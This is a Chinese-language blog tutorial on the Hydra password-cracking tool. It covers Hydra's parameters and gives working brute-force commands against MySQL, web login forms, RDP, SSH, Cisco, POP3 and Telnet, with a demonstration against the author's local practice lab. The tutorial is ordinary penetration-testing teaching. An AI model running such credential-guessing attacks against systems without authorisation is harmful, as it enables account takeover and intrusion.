23年快结束了,发现好像今年还没有发过博客,忙忙碌碌,一年也快过去啦,以后还是要把我的博客捡起来咯

前言

        对于页面登录框的暴力破解,一般使用BurpSuite就够了。但是对于数据库以及其他协议的密码破解,hydra无疑是个很棒的工具。

        目前支持以下协议破解:

AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

        下载链接:

Linux下载:https://github.com/vanhauser-thc/thc-hydra

Windows下载:https://github.com/maaaaz/thc-hydra-windows

1、hydra参数使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(1)使用单个的用户名或密码参数:
-l 用户名
-p 密码

(2)使用字典的用户名或密码参数:
-L 用户名字典
-P 密码字典
-C 指定所用格式为“user:password”的字典文件

(3)其它常用参数:
-v 显示爆破详细信息
-V 每次尝试仅显示用户名密码
-s 指定非默认端口
-o 指定输出文件
-M 指定多个ip目标列表文件(使用冒号“:”与端口分割,每行一条数据)
-t 线程数(默认16)
-f 单个主机找到一个用户名/密码之后,停止破解
-F 所有主机找到一个用户名/密码之后,停止破解
-e nsr 可选选项,n:表示尝试空密码,s:表示把用户名本身当做密码进行尝试,r:表示把用户名倒叙,当做密码进行尝试

2、MySQL密码破解

1
2
3
4
5
hydra -L user.txt -P pass.txt ip mysql
(如果发现MySQL不是在默认的3306端口,可以使用-s参数指定正确的端口号。
这里注意这个-s要放在ip mysql前面,例如-s 3306 ip mysql)

或者hydra -L user.txt -P pass.txt mysql://目标ip:mysql端口号

        其它数据库格式类似,这里我直接指定用户名为root,dic/dic_password_mysql.txt为我的密码字典相对路径。

或者采用另一种格式:

3、破解web登录(GET方式)

1
2
3
hydra -l 用户名 -p 密码字典 -t 线程 -v -e ns ip http-get /web/

或者hydra -l 用户名 -p 密码字典 -t 线程 -v -e ns ip http-get /web/index.php

4、破解web登录(POST方式)

1
2
3
4
5
6
hydra -l 用户名 -P 密码字典 域名/ip -s 端口 http-post-form "/Pass-01/login.html?:username=^USER^&password=^PASS^&Login=Login:密码错误" -v

其中,在"/Pass-01/login.html:username=^USER^&password=^PASS^&submit=Login:error"中:
(1)第一个冒号前面的“/Pass-09/login.html”为目标URL后带的路径。
(2)第二个冒号前面的“username=^USER^&password=^PASS^&Login=Login”为请求包中用户名和密码及提交的表单参数。
(3)第二个冒号后面的“error”表示用户名密码错误时返回页面的信息,根据实际情况填写。

这里用我的靶场示例一下:

URL为:http://127.0.0.1:8099/pikachu/vul/burteforce/bf_form.php

错误信息为:username or password is not exists~(这里只截取后面的not exist,刚开始试半天不成功,后来发现是这个错误语句的问题,可能是后面那个特殊符号的问题吧)

表单内容为:username=test&password=222&submit=Login

所以构造语句:

1
hydra -L dic/username.txt -P dic/password.txt -f -s 8099 127.0.0.1 http-post-form "/pikachu/vul/burteforce/bf_form.php:username=^USER^&password=^PASS^&submit=Login:not exists"

这里使用-f参数,当成功获取到一组用户名密码时,就停止爆破。得到结果:admin/123456

登录成功,获取正确。

5、破解其它协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这里任意写几个,格式类型都跟前面破解MySQL类似。

(1)破解rdp(远程桌面密码)
hydra -l administer -P pass.txt ip rdp

(2)破解ssh
hydra -L user.txt -P pass.txt ip ssh

(3)破解https
hydra -m /index.php -L user.txt -P pass.txt ip https

(4)破解cisco
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt ip cisco-enable

(5)破解pop3
hydra -L user.txt -P pass.txt my.pop3.mail pop3

(6)破解talent
hydra -L user.txt -P pass.txt ip talent